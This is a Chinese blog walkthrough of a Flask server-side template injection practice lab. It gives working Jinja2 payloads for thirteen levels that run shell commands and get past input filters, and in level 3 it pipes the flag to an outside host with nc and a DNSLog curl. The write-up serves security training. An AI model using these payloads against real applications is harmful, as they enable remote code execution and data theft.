Flask SSTI LAB攻略
sstilab是一个模板注入的靶场,目前只有Flask模板注入的练习
地址:https://github.com/X3NNY/sstilabs
level 1
WAF: no waf
由于他不是使用GET方法传数据,截包看一下他的数据是怎么传的,方便后续写脚本
发现是用POST方法传一个code参数,再利用Burp去找可以利用的类
看了几个发现并没有popen()
函数,只有一个subprocess.Popen
类,利用方式如下:
1 | {{().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}} |
再看看__builtins__
类
1 | {{().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}} |
然后又发现还有os
函数
1 | {{().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read()}} |
level 2
WAF: bl['{{']
这里过滤了{{
,可以使用{% %}
来绕过,由于第一关已经知道了能利用的类的下标,这里就不再重复
1 | #popen |
level 3
WAF: no waf and blind
这一关是盲注,首先我们要知道可以利用的类的名字,比如我们从第一关就知道Popen
这个类里面有os
- 通过
nc
命令把目录传到自己的服务器上
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %} |
- 使用DNSLog带出数据
1 | {% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.t6n089.ceye.io').read()}}{% endif %}{% endfor %} |
level 4
WAF: bl[‘[‘, ‘]’]
第四关过滤了中括号,对于索引的[]
可以用pop()
或__getitem__()
代替[]
;而类的可以用__getattribute__
绕过
这里还是使用Popen
类里面的os
1 | {{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(258).__init__.__globals__.__getitem__('os').popen('cat flag').read()}} |
level 5
WAF: bl[‘\‘’, ‘“‘]
第五关过滤了引号,有两种方法绕过:
- request绕过
1 | #使用POST方法 |
- chr()绕过
先找出chr()
函数的位置
1 | {{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}} |
1 | {%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%} |
这个似乎没有成功,不知道为啥,还是requset方便,查ascii吐血
level 6
WAF: bl[‘_’]
第六关过滤了下划线_
,可以使用编码或者attr()
配合request绕过
- 十六位编码
1 | {{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}} |
- Unicode编码
1 | {{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}} |
这里使用了lipsum这个方法直接调用os
- base64编码
1 | {{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}} |
attr()
配合request
1 | {{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} |
level 7
WAF: bl[‘.’]
第七关过滤了.
[]
绕过
1 | {{()['__class__']['__base__']['__subclasses__']()['__getitem__'](258)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}} |
attr()
绕过
1 | {{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}} |
level 8
WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
第八关过滤了一堆关键字,使用拼接绕过
1 | {{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}} |
level 9
WAF: bl[‘0-9’]
第九关过滤了数字
- 直接用
for
循环找到可以利用的类直接利用,
1 | {% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %} |
由于这里的
__base__
并不是object,因此要用到__mro__[-1]
来获取object类,然而又过滤了数字,所以要用last()
来获取最后一个类
- 用
lipsum
不通过数字直接利用
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
- 构造数字进行拼接
1 | {% set two=dict(aa=a)|join|count %} |
level 10
WAF: set config = None
这一关的目标不是flag,而是获取config,可以通过current_app
来获取
- url_for
1 | {{url_for.__globals__['current_app'].config}} |
- get_flashed_messages
1 | {{get_flashed_messages.__globals__['current_app'].config}} |
level 11
WAF: bl[‘'‘, ‘“‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]
11关过滤了一堆东西,先确定一个利用的基本payload
1 | {{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}} |
然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。
首先查看_
在第几个,这里是下标18为下划线
1 | {{(lipsum|string|list)}} |
1 | {{(lipsum|string|list)|attr(pop)(18)}} |
这里问题来了,attr()
里面要求的是字符串,直接输pop需要用引号''
包围起来,但是这里又过滤了引号,所以要先构造一个pop
字符串:
1 | {% set pop=dict(pop=a)|join%} |
此时就能成功取到_
,再用下划线去构造其他的类:
1 | {% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %} |
再去构造后面用到的方法:
1 | {% set space=(lipsum|string|list)|attr(pop)(9)%} |
最后就是完整的利用语法:
1 | {{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}} |
合在一起就是:
1 | {% set pop=dict(pop=a)|join%} |
level 12
WAF: bl[‘_’, ‘.’, ‘0-9’, ‘\‘, ‘'‘, ‘“‘, ‘[‘, ‘]’]
这一关把下划线_
和数字也过滤了,可以在上一关的基础上加入数字
1 | {% set nine=dict(aaaaaaaaa=a)|join|count %} |
level 13
WAF: bl[‘_’, ‘.’, ‘\‘, ‘'‘, ‘“‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’]
过滤的东西更多了,但是我们上面的payload完美避开
1 | {% set pop=dict(pop=a)|join%} |
参考资料
- Post title:Flask SSTI LAB攻略
- Post author:John_Frod
- Create time:2021-05-06 16:01:47
- Post link:https://keep.xpoet.cn/2021/05/06/Flask-SSTI-LAB攻略/
- Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.